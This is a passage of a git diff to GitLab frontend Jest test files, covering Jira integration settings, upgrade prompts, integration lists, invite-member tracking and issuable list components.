const findJiraForVulnerabilities = () => wrapper.find('[data-testid="jira-for-vulnerabilities"]');
const setEnableCheckbox = async (isEnabled = true) =>
findEnableCheckbox().vm.$emit('input', isEnabled);
+ describe('jira issues call to action', () => {
+ it('shows the premium message', () => {
+ createComponent({
+ props: { showJiraIssuesIntegration: false },
+ });
+
+ expect(findJiraUpgradeCta().props()).toMatchObject({
+ showPremiumMessage: true,
+ showUltimateMessage: false,
+ });
+ });
+
+ it('shows the ultimate message', () => {
+ createComponent({
+ props: {
+ showJiraIssuesIntegration: true,
+ showJiraVulnerabilitiesIntegration: false,
+ },
+ });
+
+ expect(findJiraUpgradeCta().props()).toMatchObject({
+ showPremiumMessage: false,
+ showUltimateMessage: true,
+ });
+ });
+ });
+
describe('template', () => {
describe('upgrade banner for non-Premium user', () => {
beforeEach(() => {
createComponent({ props: { initialProjectKey: '', showJiraIssuesIntegration: false } });
});
- it('shows upgrade banner', () => {
- expect(wrapper.text()).toContain(expectedBannerText);
- });
-
it('does not show checkbox and input field', () => {
expect(findEnableCheckbox().exists()).toBe(false);
expect(findProjectKey().exists()).toBe(false);
@@ -57,7 +80,7 @@ describe('JiraIssuesFields', () => {
});
it('does not show upgrade banner', () => {
- expect(wrapper.text()).not.toContain(expectedBannerText);
+ expect(findJiraUpgradeCta().exists()).toBe(false);
});
// As per https://vuejs.org/v2/guide/forms.html#Checkbox-1,
@@ -125,6 +148,14 @@ describe('JiraIssuesFields', () => {
},
);
+ it('passes down the correct show-full-feature property', async () => {
+ await setEnableCheckbox(true);
+ expect(findJiraForVulnerabilities().attributes('show-full-feature')).toBe('true');
+ wrapper.setProps({ showJiraVulnerabilitiesIntegration: false });
+ await wrapper.vm.$nextTick();
+ expect(findJiraForVulnerabilities().attributes('show-full-feature')).toBeUndefined();
+ });
+
it('passes down the correct initial-issue-type-id value when value is empty', async () => {
await setEnableCheckbox(true);
expect(findJiraForVulnerabilities().attributes('initial-issue-type-id')).toBeUndefined();
diff --git a/spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js b/spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js
index c6e7ee44355..5c04add61a1 100644
--- a/spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/jira_trigger_fields_spec.js
@@ -30,14 +30,23 @@ describe('JiraTriggerFields', () => {
const findCommentSettings = () => wrapper.find('[data-testid="comment-settings"]');
const findCommentDetail = () => wrapper.find('[data-testid="comment-detail"]');
const findCommentSettingsCheckbox = () => findCommentSettings().find(GlFormCheckbox);
+ const findIssueTransitionEnabled = () =>
+ wrapper.find('[data-testid="issue-transition-enabled"] input[type="checkbox"]');
+ const findIssueTransitionMode = () => wrapper.find('[data-testid="issue-transition-mode"]');
+ const findIssueTransitionModeRadios = () =>
+ findIssueTransitionMode().findAll('input[type="radio"]');
+ const findIssueTransitionIdsField = () =>
+ wrapper.find('input[type="text"][name="service[jira_issue_transition_id]"]');
describe('template', () => {
describe('initialTriggerCommit and initialTriggerMergeRequest are false', () => {
- it('does not show comment settings', () => {
+ it('does not show trigger settings', () => {
createComponent();
expect(findCommentSettings().isVisible()).toBe(false);
expect(findCommentDetail().isVisible()).toBe(false);
+ expect(findIssueTransitionEnabled().exists()).toBe(false);
+ expect(findIssueTransitionMode().exists()).toBe(false);
});
});
@@ -48,9 +57,11 @@ describe('JiraTriggerFields', () => {
});
});
- it('shows comment settings', () => {
+ it('shows trigger settings', () => {
expect(findCommentSettings().isVisible()).toBe(true);
expect(findCommentDetail().isVisible()).toBe(false);
+ expect(findIssueTransitionEnabled().isVisible()).toBe(true);
+ expect(findIssueTransitionMode().exists()).toBe(false);
});
// As per https://vuejs.org/v2/guide/forms.html#Checkbox-1,
@@ -73,13 +84,15 @@ describe('JiraTriggerFields', () => {
});
describe('initialTriggerMergeRequest is true', () => {
- it('shows comment settings', () => {
+ it('shows trigger settings', () => {
createComponent({
initialTriggerMergeRequest: true,
});
expect(findCommentSettings().isVisible()).toBe(true);
expect(findCommentDetail().isVisible()).toBe(false);
+ expect(findIssueTransitionEnabled().isVisible()).toBe(true);
+ expect(findIssueTransitionMode().exists()).toBe(false);
});
});
@@ -95,21 +108,94 @@ describe('JiraTriggerFields', () => {
});
});
- it('disables checkboxes and radios if inheriting', () => {
+ describe('initialJiraIssueTransitionAutomatic is false, initialJiraIssueTransitionId is not set', () => {
+ it('selects automatic transitions when enabling transitions', () => {
+ createComponent({
+ initialTriggerCommit: true,
+ initialEnableComments: true,
+ });
+
+ const checkbox = findIssueTransitionEnabled();
+ expect(checkbox.element.checked).toBe(false);
+ checkbox.trigger('click');
+
+ return wrapper.vm.$nextTick().then(() => {
+ const [radio1, radio2] = findIssueTransitionModeRadios().wrappers;
+ expect(radio1.element.checked).toBe(true);
+ expect(radio2.element.checked).toBe(false);
+ });
+ });
+ });
+
+ describe('initialJiraIssueTransitionAutomatic is true', () => {
+ it('uses automatic transitions', () => {
+ createComponent({
+ initialTriggerCommit: true,
+ initialJiraIssueTransitionAutomatic: true,
+ });
+
+ expect(findIssueTransitionEnabled().element.checked).toBe(true);
+
+ const [radio1, radio2] = findIssueTransitionModeRadios().wrappers;
+ expect(radio1.element.checked).toBe(true);
+ expect(radio2.element.checked).toBe(false);
+
+ expect(findIssueTransitionIdsField().exists()).toBe(false);
+ });
+ });
+
+ describe('initialJiraIssueTransitionId is set', () => {
+ it('uses custom transitions', () => {
+ createComponent({
+ initialTriggerCommit: true,
+ initialJiraIssueTransitionId: '1, 2, 3',
+ });
+
+ expect(findIssueTransitionEnabled().element.checked).toBe(true);
+
+ const [radio1, radio2] = findIssueTransitionModeRadios().wrappers;
+ expect(radio1.element.checked).toBe(false);
+ expect(radio2.element.checked).toBe(true);
+
+ const field = findIssueTransitionIdsField();
+ expect(field.isVisible()).toBe(true);
+ expect(field.element).toMatchObject({
+ type: 'text',
+ value: '1, 2, 3',
+ });
+ });
+ });
+
+ describe('initialJiraIssueTransitionAutomatic is true, initialJiraIssueTransitionId is set', () => {
+ it('uses automatic transitions', () => {
+ createComponent({
+ initialTriggerCommit: true,
+ initialJiraIssueTransitionAutomatic: true,
+ initialJiraIssueTransitionId: '1, 2, 3',
+ });
+
+ expect(findIssueTransitionEnabled().element.checked).toBe(true);
+
+ const [radio1, radio2] = findIssueTransitionModeRadios().wrappers;
+ expect(radio1.element.checked).toBe(true);
+ expect(radio2.element.checked).toBe(false);
+
+ expect(findIssueTransitionIdsField().exists()).toBe(false);
+ });
+ });
+
+ it('disables input fields if inheriting', () => {
createComponent(
{
initialTriggerCommit: true,
initialEnableComments: true,
+ initialJiraIssueTransitionId: '1, 2, 3',
},
true,
);
- wrapper.findAll('[type=checkbox]').wrappers.forEach((checkbox) => {
- expect(checkbox.attributes('disabled')).toBe('disabled');
- });
-
- wrapper.findAll('[type=radio]').wrappers.forEach((radio) => {
- expect(radio.attributes('disabled')).toBe('disabled');
+ wrapper.findAll('[type=text], [type=checkbox], [type=radio]').wrappers.forEach((input) => {
+ expect(input.attributes('disabled')).toBe('disabled');
});
});
});
diff --git a/spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js b/spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js
new file mode 100644
index 00000000000..e49a1619627
--- /dev/null
+++ b/spec/frontend/integrations/edit/components/jira_upgrade_cta_spec.js
@@ -0,0 +1,30 @@
+import { shallowMount } from '@vue/test-utils';
+import JiraUpgradeCta from '~/integrations/edit/components/jira_upgrade_cta.vue';
+
+describe('JiraUpgradeCta', () => {
+ let wrapper;
+
+ const contentMessage = 'Upgrade your plan to enable this feature of the Jira Integration.';
+
+ const createComponent = (propsData) => {
+ wrapper = shallowMount(JiraUpgradeCta, {
+ propsData,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('displays the correct message for premium and lower users', () => {
+ createComponent({ showPremiumMessage: true });
+ expect(wrapper.html()).toContain('This is a Premium feature');
+ expect(wrapper.html()).toContain(contentMessage);
+ });
+
+ it('displays the correct message for ultimate and lower users', () => {
+ createComponent({ showUltimateMessage: true });
+ expect(wrapper.html()).toContain('This is an Ultimate feature');
+ expect(wrapper.html()).toContain(contentMessage);
+ });
+});
diff --git a/spec/frontend/integrations/edit/components/trigger_fields_spec.js b/spec/frontend/integrations/edit/components/trigger_fields_spec.js
index 3e5326812b1..b9d16464e72 100644
--- a/spec/frontend/integrations/edit/components/trigger_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/trigger_fields_spec.js
@@ -138,11 +138,11 @@ describe('TriggerFields', () => {
const expectedResults = [
{
name: 'service[push_channel]',
- placeholder: 'Slack channels (e.g. general, development)',
+ placeholder: 'general, development',
},
{
name: 'service[merge_request_channel]',
- placeholder: 'Slack channels (e.g. general, development)',
+ placeholder: 'general, development',
},
];
diff --git a/spec/frontend/integrations/index/components/integrations_list_spec.js b/spec/frontend/integrations/index/components/integrations_list_spec.js
new file mode 100644
index 00000000000..94fd7fc84ee
--- /dev/null
+++ b/spec/frontend/integrations/index/components/integrations_list_spec.js
@@ -0,0 +1,26 @@
+import { shallowMount } from '@vue/test-utils';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import IntegrationsList from '~/integrations/index/components/integrations_list.vue';
+import { mockActiveIntegrations, mockInactiveIntegrations } from '../mock_data';
+
+describe('IntegrationsList', () => {
+ let wrapper;
+
+ const findActiveIntegrationsTable = () => wrapper.findByTestId('active-integrations-table');
+ const findInactiveIntegrationsTable = () => wrapper.findByTestId('inactive-integrations-table');
+
+ const createComponent = (propsData = {}) => {
+ wrapper = extendedWrapper(shallowMount(IntegrationsList, { propsData }));
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('provides correct `integrations` prop to the IntegrationsTable instance', () => {
+ createComponent({ integrations: [...mockInactiveIntegrations, ...mockActiveIntegrations] });
+
+ expect(findActiveIntegrationsTable().props('integrations')).toEqual(mockActiveIntegrations);
+ expect(findInactiveIntegrationsTable().props('integrations')).toEqual(mockInactiveIntegrations);
+ });
+});
diff --git a/spec/frontend/integrations/index/components/integrations_table_spec.js b/spec/frontend/integrations/index/components/integrations_table_spec.js
new file mode 100644
index 00000000000..bfe0a5987b4
--- /dev/null
+++ b/spec/frontend/integrations/index/components/integrations_table_spec.js
@@ -0,0 +1,53 @@
+import { GlTable, GlIcon } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import IntegrationsTable from '~/integrations/index/components/integrations_table.vue';
+import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
+
+import { mockActiveIntegrations, mockInactiveIntegrations } from '../mock_data';
+
+describe('IntegrationsTable', () => {
+ let wrapper;
+
+ const findTable = () => wrapper.findComponent(GlTable);
+
+ const createComponent = (propsData = {}) => {
+ wrapper = mount(IntegrationsTable, {
+ propsData: {
+ integrations: mockActiveIntegrations,
+ ...propsData,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe.each([true, false])('when `showUpdatedAt` is %p', (showUpdatedAt) => {
+ beforeEach(() => {
+ createComponent({ showUpdatedAt });
+ });
+
+ it(`${showUpdatedAt ? 'renders' : 'does not render'} content in "Last updated" column`, () => {
+ const headers = findTable().findAll('th');
+ expect(headers.wrappers.some((header) => header.text() === 'Last updated')).toBe(
+ showUpdatedAt,
+ );
+ expect(wrapper.findComponent(TimeAgoTooltip).exists()).toBe(showUpdatedAt);
+ });
+ });
+
+ describe.each`
+ scenario | integrations | shouldRenderActiveIcon
+ ${'when integration is active'} | ${[mockActiveIntegrations[0]]} | ${true}
+ ${'when integration is inactive'} | ${[mockInactiveIntegrations[0]]} | ${false}
+ `('$scenario', ({ shouldRenderActiveIcon, integrations }) => {
+ beforeEach(() => {
+ createComponent({ integrations });
+ });
+
+ it(`${shouldRenderActiveIcon ? 'renders' : 'does not render'} icon in first column`, () => {
+ expect(findTable().findComponent(GlIcon).exists()).toBe(shouldRenderActiveIcon);
+ });
+ });
+});
diff --git a/spec/frontend/integrations/index/mock_data.js b/spec/frontend/integrations/index/mock_data.js
new file mode 100644
index 00000000000..2231687d255
--- /dev/null
+++ b/spec/frontend/integrations/index/mock_data.js
@@ -0,0 +1,50 @@
+export const mockActiveIntegrations = [
+ {
+ active: true,
+ title: 'Asana',
+ description: 'Asana - Teamwork without email',
+ updated_at: '2021-03-18T00:27:09.634Z',
+ edit_path:
+ '/gitlab-qa-sandbox-group/project_with_jenkins_6a55a67c-57c6ed0597c9319a/-/services/asana/edit',
+ name: 'asana',
+ },
+ {
+ active: true,
+ title: 'Jira',
+ description: 'Jira issue tracker',
+ updated_at: '2021-01-29T06:41:25.806Z',
+ edit_path:
+ '/gitlab-qa-sandbox-group/project_with_jenkins_6a55a67c-57c6ed0597c9319a/-/services/jira/edit',
+ name: 'jira',
+ },
+];
+
+export const mockInactiveIntegrations = [
+ {
+ active: false,
+ title: 'Webex Teams',
+ description: 'Receive event notifications in Webex Teams',
+ updated_at: null,
+ edit_path:
+ '/gitlab-qa-sandbox-group/project_with_jenkins_6a55a67c-57c6ed0597c9319a/-/services/webex_teams/edit',
+ name: 'webex_teams',
+ },
+ {
+ active: false,
+ title: 'YouTrack',
+ description: 'YouTrack issue tracker',
+ updated_at: null,
+ edit_path:
+ '/gitlab-qa-sandbox-group/project_with_jenkins_6a55a67c-57c6ed0597c9319a/-/services/youtrack/edit',
+ name: 'youtrack',
+ },
+ {
+ active: false,
+ title: 'Atlassian Bamboo CI',
+ description: 'A continuous integration and build server',
+ updated_at: null,
+ edit_path:
+ '/gitlab-qa-sandbox-group/project_with_jenkins_6a55a67c-57c6ed0597c9319a/-/services/bamboo/edit',
+ name: 'bamboo',
+ },
+];
diff --git a/spec/frontend/invite_member/components/invite_member_modal_spec.js b/spec/frontend/invite_member/components/invite_member_modal_spec.js
index 4eff19402a8..03e3da2d5ef 100644
--- a/spec/frontend/invite_member/components/invite_member_modal_spec.js
+++ b/spec/frontend/invite_member/components/invite_member_modal_spec.js
@@ -9,7 +9,7 @@ const memberPath = 'member_path';
const GlEmoji = { template: '<img />' };
const createComponent = () => {
return shallowMount(InviteMemberModal, {
- provide: {
+ propsData: {
membersPath: memberPath,
},
stubs: {
diff --git a/spec/frontend/invite_member/components/invite_member_trigger_spec.js b/spec/frontend/invite_member/components/invite_member_trigger_spec.js
index 67c312fd155..630e2dbfc16 100644
--- a/spec/frontend/invite_member/components/invite_member_trigger_spec.js
+++ b/spec/frontend/invite_member/components/invite_member_trigger_spec.js
@@ -5,7 +5,7 @@ import InviteMemberTrigger from '~/invite_member/components/invite_member_trigge
import triggerProvides from './invite_member_trigger_mock_data';
const createComponent = () => {
- return shallowMount(InviteMemberTrigger, { provide: triggerProvides });
+ return shallowMount(InviteMemberTrigger, { propsData: triggerProvides });
};
describe('InviteMemberTrigger', () => {
diff --git a/spec/frontend/invite_members/components/invite_members_modal_spec.js b/spec/frontend/invite_members/components/invite_members_modal_spec.js
index 5ca5d855038..7ed18775693 100644
--- a/spec/frontend/invite_members/components/invite_members_modal_spec.js
+++ b/spec/frontend/invite_members/components/invite_members_modal_spec.js
@@ -3,7 +3,11 @@ import { shallowMount } from '@vue/test-utils';
import { stubComponent } from 'helpers/stub_component';
import waitForPromises from 'helpers/wait_for_promises';
import Api from '~/api';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
import InviteMembersModal from '~/invite_members/components/invite_members_modal.vue';
+import { INVITE_MEMBERS_IN_COMMENT } from '~/invite_members/constants';
+
+jest.mock('~/experimentation/experiment_tracking');
const id = '1';
const name = 'test name';
@@ -89,7 +93,7 @@ describe('InviteMembersModal', () => {
});
it('renders the modal with the correct title', () => {
- expect(wrapper.findComponent(GlModal).props('title')).toBe('Invite team members');
+ expect(wrapper.findComponent(GlModal).props('title')).toBe('Invite members');
});
it('renders the Cancel button text correctly', () => {
@@ -303,6 +307,7 @@ describe('InviteMembersModal', () => {
jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({ data: postData });
jest.spyOn(Api, 'addGroupMembersByUserId').mockResolvedValue({ data: postData });
jest.spyOn(wrapper.vm, 'showToastMessageSuccess');
+ jest.spyOn(wrapper.vm, 'trackInvite');
clickInviteButton();
});
@@ -396,5 +401,46 @@ describe('InviteMembersModal', () => {
});
});
});
+
+ describe('tracking', () => {
+ const postData = {
+ user_id: '1',
+ access_level: defaultAccessLevel,
+ expires_at: undefined,
+ format: 'json',
+ };
+
+ beforeEach(() => {
+ wrapper = createComponent({ newUsersToInvite: [user3] });
+
+ wrapper.vm.$toast = { show: jest.fn() };
+ jest.spyOn(Api, 'inviteGroupMembersByEmail').mockResolvedValue({ data: postData });
+ });
+
+ it('tracks the invite', () => {
+ wrapper.vm.openModal({ inviteeType: 'members', source: INVITE_MEMBERS_IN_COMMENT });
+
+ clickInviteButton();
+
+ expect(ExperimentTracking).toHaveBeenCalledWith(INVITE_MEMBERS_IN_COMMENT);
+ expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith('comment_invite_success');
+ });
+
+ it('does not track invite for unknown source', () => {
+ wrapper.vm.openModal({ inviteeType: 'members', source: 'unknown' });
+
+ clickInviteButton();
+
+ expect(ExperimentTracking).not.toHaveBeenCalled();
+ });
+
+ it('does not track invite undefined source', () => {
+ wrapper.vm.openModal({ inviteeType: 'members' });
+
+ clickInviteButton();
+
+ expect(ExperimentTracking).not.toHaveBeenCalled();
+ });
+ });
});
});
diff --git a/spec/frontend/invite_members/components/invite_members_trigger_spec.js b/spec/frontend/invite_members/components/invite_members_trigger_spec.js
index f362aace1df..b569b6286e0 100644
--- a/spec/frontend/invite_members/components/invite_members_trigger_spec.js
+++ b/spec/frontend/invite_members/components/invite_members_trigger_spec.js
@@ -1,35 +1,99 @@
-import { GlButton } from '@gitlab/ui';
+import { GlButton, GlLink } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
import InviteMembersTrigger from '~/invite_members/components/invite_members_trigger.vue';
+import eventHub from '~/invite_members/event_hub';
+
+jest.mock('~/experimentation/experiment_tracking');
const displayText = 'Invite team members';
+let wrapper;
+let triggerProps;
+let findButton;
+const triggerComponent = {
+ button: GlButton,
+ anchor: GlLink,
+};
const createComponent = (props = {}) => {
- return shallowMount(InviteMembersTrigger, {
+ wrapper = shallowMount(InviteMembersTrigger, {
propsData: {
displayText,
+ ...triggerProps,
...props,
},
});
};
-describe('InviteMembersTrigger', () => {
- let wrapper;
+describe.each(['button', 'anchor'])('with triggerElement as %s', (triggerElement) => {
+ triggerProps = { triggerElement };
+ findButton = () => wrapper.findComponent(triggerComponent[triggerElement]);
afterEach(() => {
wrapper.destroy();
- wrapper = null;
});
describe('displayText', () => {
- const findButton = () => wrapper.findComponent(GlButton);
+ it('includes the correct displayText for the button', () => {
+ createComponent();
+
+ expect(findButton().text()).toBe(displayText);
+ });
+ });
+
+ describe('clicking the link', () => {
+ let spy;
beforeEach(() => {
- wrapper = createComponent();
+ spy = jest.spyOn(eventHub, '$emit');
});
- it('includes the correct displayText for the button', () => {
- expect(findButton().text()).toBe(displayText);
+ it('emits openModal from an unknown source', () => {
+ createComponent();
+
+ findButton().vm.$emit('click');
+
+ expect(spy).toHaveBeenCalledWith('openModal', { inviteeType: 'members', source: 'unknown' });
+ });
+
+ it('emits openModal from a named source', () => {
+ createComponent({ triggerSource: '_trigger_source_' });
+
+ findButton().vm.$emit('click');
+
+ expect(spy).toHaveBeenCalledWith('openModal', {
+ inviteeType: 'members',
+ source: '_trigger_source_',
+ });
+ });
+ });
+
+ describe('tracking', () => {
+ it('tracks on mounting', () => {
+ createComponent({ trackExperiment: '_track_experiment_' });
+
+ expect(ExperimentTracking).toHaveBeenCalledWith('_track_experiment_');
+ expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith('comment_invite_shown');
+ });
+
+ it('does not track on mounting', () => {
+ createComponent();
+
+ expect(ExperimentTracking).not.toHaveBeenCalledWith('_track_experiment_');
+ });
+
+ it('does not add tracking attributes', () => {
+ createComponent();
+
+ expect(findButton().attributes('data-track-event')).toBeUndefined();
+ expect(findButton().attributes('data-track-label')).toBeUndefined();
+ });
+
+ it('adds tracking attributes', () => {
+ createComponent({ label: '_label_', event: '_event_' });
+
+ expect(findButton().attributes('data-track-event')).toBe('_event_');
+ expect(findButton().attributes('data-track-label')).toBe('_label_');
});
});
});
diff --git a/spec/frontend/issuable/components/csv_export_modal_spec.js b/spec/frontend/issuable/components/csv_export_modal_spec.js
index f46b6f72f05..a327da2d63a 100644
--- a/spec/frontend/issuable/components/csv_export_modal_spec.js
+++ b/spec/frontend/issuable/components/csv_export_modal_spec.js
@@ -58,14 +58,14 @@ describe('CsvExportModal', () => {
describe('issuable count info text', () => {
it('displays the info text when issuableCount is > -1', () => {
- wrapper = createComponent({ injectedProperties: { issuableCount: 10 } });
+ wrapper = createComponent({ props: { issuableCount: 10 } });
expect(wrapper.findByTestId('issuable-count-note').exists()).toBe(true);
expect(wrapper.findByTestId('issuable-count-note').text()).toContain('10 issues selected');
expect(findIcon().exists()).toBe(true);
});
it("doesn't display the info text when issuableCount is -1", () => {
- wrapper = createComponent({ injectedProperties: { issuableCount: -1 } });
+ wrapper = createComponent({ props: { issuableCount: -1 } });
expect(wrapper.findByTestId('issuable-count-note').exists()).toBe(false);
});
});
@@ -83,7 +83,7 @@ describe('CsvExportModal', () => {
describe('primary button', () => {
it('passes the exportCsvPath to the button', () => {
const exportCsvPath = '/gitlab-org/gitlab-test/-/issues/export_csv';
- wrapper = createComponent({ injectedProperties: { exportCsvPath } });
+ wrapper = createComponent({ props: { exportCsvPath } });
expect(findButton().attributes('href')).toBe(exportCsvPath);
});
});
diff --git a/spec/frontend/issuable/components/csv_import_export_buttons_spec.js b/spec/frontend/issuable/components/csv_import_export_buttons_spec.js
index e32bf35b13a..2fe8d28a333 100644
--- a/spec/frontend/issuable/components/csv_import_export_buttons_spec.js
+++ b/spec/frontend/issuable/components/csv_import_export_buttons_spec.js
@@ -9,6 +9,9 @@ describe('CsvImportExportButtons', () => {
let wrapper;
let glModalDirective;
+ const exportCsvPath = '/gitlab-org/gitlab-test/-/issues/export_csv';
+ const issuableCount = 10;
+
function createComponent(injectedProperties = {}) {
glModalDirective = jest.fn();
return extendedWrapper(
@@ -24,6 +27,10 @@ describe('CsvImportExportButtons', () => {
provide: {
...injectedProperties,
},
+ propsData: {
+ exportCsvPath,
+ issuableCount,
+ },
}),
);
}
@@ -57,7 +64,7 @@ describe('CsvImportExportButtons', () => {
});
it('renders the export modal', () => {
- expect(findExportCsvModal().exists()).toBe(true);
+ expect(findExportCsvModal().props()).toMatchObject({ exportCsvPath, issuableCount });
});
it('opens the export modal', () => {
diff --git a/spec/frontend/issuable_list/components/issuable_list_root_spec.js b/spec/frontend/issuable_list/components/issuable_list_root_spec.js
index 9c57233548c..38d6d6d86bc 100644
--- a/spec/frontend/issuable_list/components/issuable_list_root_spec.js
+++ b/spec/frontend/issuable_list/components/issuable_list_root_spec.js
@@ -1,5 +1,6 @@
import { GlSkeletonLoading, GlPagination } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import VueDraggable from 'vuedraggable';
import { TEST_HOST } from 'helpers/test_constants';
@@ -11,7 +12,7 @@ import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filte
import { mockIssuableListProps, mockIssuables } from '../mock_data';
const createComponent = ({ props = mockIssuableListProps, data = {} } = {}) =>
- mount(IssuableListRoot, {
+ shallowMount(IssuableListRoot, {
propsData: props,
data() {
return data;
@@ -24,20 +25,29 @@ const createComponent = ({ props = mockIssuableListProps, data = {} } = {}) =>
<p class="js-issuable-empty-state">Issuable empty state</p>
`,
},
+ stubs: {
+ IssuableTabs,
+ },
});
describe('IssuableListRoot', () => {
let wrapper;
- beforeEach(() => {
- wrapper = createComponent();
- });
+ const findFilteredSearchBar = () => wrapper.findComponent(FilteredSearchBar);
+ const findGlPagination = () => wrapper.findComponent(GlPagination);
+ const findIssuableItem = () => wrapper.findComponent(IssuableItem);
+ const findIssuableTabs = () => wrapper.findComponent(IssuableTabs);
+ const findVueDraggable = () => wrapper.findComponent(VueDraggable);
afterEach(() => {
wrapper.destroy();
});
describe('computed', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
const mockCheckedIssuables = {
[mockIssuables[0].iid]: { checked: true, issuable: mockIssuables[0] },
[mockIssuables[1].iid]: { checked: true, issuable: mockIssuables[1] },
@@ -108,6 +118,10 @@ describe('IssuableListRoot', () => {
});
describe('watch', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
describe('issuables', () => {
it('populates `checkedIssuables` prop with all issuables', async () => {
wrapper.setProps({
@@ -147,6 +161,10 @@ describe('IssuableListRoot', () => {
});
describe('methods', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
describe('issuableId', () => {
it('returns id value from provided issuable object', () => {
expect(wrapper.vm.issuableId({ id: 1 })).toBe(1);
@@ -171,12 +189,16 @@ describe('IssuableListRoot', () => {
});
describe('template', () => {
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
it('renders component container element with class "issuable-list-container"', () => {
expect(wrapper.classes()).toContain('issuable-list-container');
});
it('renders issuable-tabs component', () => {
- const tabsEl = wrapper.find(IssuableTabs);
+ const tabsEl = findIssuableTabs();
expect(tabsEl.exists()).toBe(true);
expect(tabsEl.props()).toMatchObject({
@@ -187,14 +209,14 @@ describe('IssuableListRoot', () => {
});
it('renders contents for slot "nav-actions" within issuable-tab component', () => {
- const buttonEl = wrapper.find(IssuableTabs).find('button.js-new-issuable');
+ const buttonEl = findIssuableTabs().find('button.js-new-issuable');
expect(buttonEl.exists()).toBe(true);
expect(buttonEl.text()).toBe('New issuable');
});
it('renders filtered-search-bar component', () => {
- const searchEl = wrapper.find(FilteredSearchBar);
+ const searchEl = findFilteredSearchBar();
const {
namespace,
recentSearchesStorageKey,
@@ -224,11 +246,13 @@ describe('IssuableListRoot', () => {
await wrapper.vm.$nextTick();
- expect(wrapper.findAll(GlSkeletonLoading)).toHaveLength(wrapper.vm.skeletonItemCount);
+ expect(wrapper.findAllComponents(GlSkeletonLoading)).toHaveLength(
+ wrapper.vm.skeletonItemCount,
+ );
});
it('renders issuable-item component for each item within `issuables` array', () => {
- const itemsEl = wrapper.findAll(IssuableItem);
+ const itemsEl = wrapper.findAllComponents(IssuableItem);
const mockIssuable = mockIssuableListProps.issuables[0];
expect(itemsEl).toHaveLength(mockIssuableListProps.issuables.length);
@@ -257,7 +281,7 @@ describe('IssuableListRoot', () => {
await wrapper.vm.$nextTick();
- const paginationEl = wrapper.find(GlPagination);
+ const paginationEl = findGlPagination();
expect(paginationEl.exists()).toBe(true);
expect(paginationEl.props()).toMatchObject({
perPage: 20,
@@ -271,10 +295,8 @@ describe('IssuableListRoot', () => {
});
describe('events', () => {
- let wrapperChecked;
-
beforeEach(() => {
- wrapperChecked = createComponent({
+ wrapper = createComponent({
data: {
checkedIssuables: {
[mockIssuables[0].iid]: { checked: true, issuable: mockIssuables[0] },
@@ -283,34 +305,30 @@ describe('IssuableListRoot', () => {
});
});
- afterEach(() => {
- wrapperChecked.destroy();
- });
-
it('issuable-tabs component emits `click-tab` event on `click-tab` event', () => {
- wrapper.find(IssuableTabs).vm.$emit('click');
+ findIssuableTabs().vm.$emit('click');
expect(wrapper.emitted('click-tab')).toBeTruthy();
});
it('sets all issuables as checked when filtered-search-bar component emits `checked-input` event', async () => {
- const searchEl = wrapperChecked.find(FilteredSearchBar);
+ const searchEl = findFilteredSearchBar();
searchEl.vm.$emit('checked-input', true);
- await wrapperChecked.vm.$nextTick();
+ await wrapper.vm.$nextTick();
expect(searchEl.emitted('checked-input')).toBeTruthy();
expect(searchEl.emitted('checked-input').length).toBe(1);
- expect(wrapperChecked.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
+ expect(wrapper.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
checked: true,
issuable: mockIssuables[0],
});
});
it('filtered-search-bar component emits `filter` event on `onFilter` & `sort` event on `onSort` events', () => {
- const searchEl = wrapper.find(FilteredSearchBar);
+ const searchEl = findFilteredSearchBar();
searchEl.vm.$emit('onFilter');
expect(wrapper.emitted('filter')).toBeTruthy();
@@ -319,21 +337,33 @@ describe('IssuableListRoot', () => {
});
it('sets an issuable as checked when issuable-item component emits `checked-input` event', async () => {
- const issuableItem = wrapperChecked.findAll(IssuableItem).at(0);
+ const issuableItem = wrapper.findAllComponents(IssuableItem).at(0);
issuableItem.vm.$emit('checked-input', true);
- await wrapperChecked.vm.$nextTick();
+ await wrapper.vm.$nextTick();
expect(issuableItem.emitted('checked-input')).toBeTruthy();
expect(issuableItem.emitted('checked-input').length).toBe(1);
- expect(wrapperChecked.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
+ expect(wrapper.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
checked: true,
issuable: mockIssuables[0],
});
});
+ it('emits `update-legacy-bulk-edit` when filtered-search-bar checkbox is checked', () => {
+ findFilteredSearchBar().vm.$emit('checked-input');
+
+ expect(wrapper.emitted('update-legacy-bulk-edit')).toEqual([[]]);
+ });
+
+ it('emits `update-legacy-bulk-edit` when issuable-item checkbox is checked', () => {
+ findIssuableItem().vm.$emit('checked-input');
+
+ expect(wrapper.emitted('update-legacy-bulk-edit')).toEqual([[]]);
+ });
+
it('gl-pagination component emits `page-change` event on `input` event', async () => {
wrapper.setProps({
showPaginationControls: true,
@@ -341,8 +371,48 @@ describe('IssuableListRoot', () => {
await wrapper.vm.$nextTick();
- wrapper.find(GlPagination).vm.$emit('input');
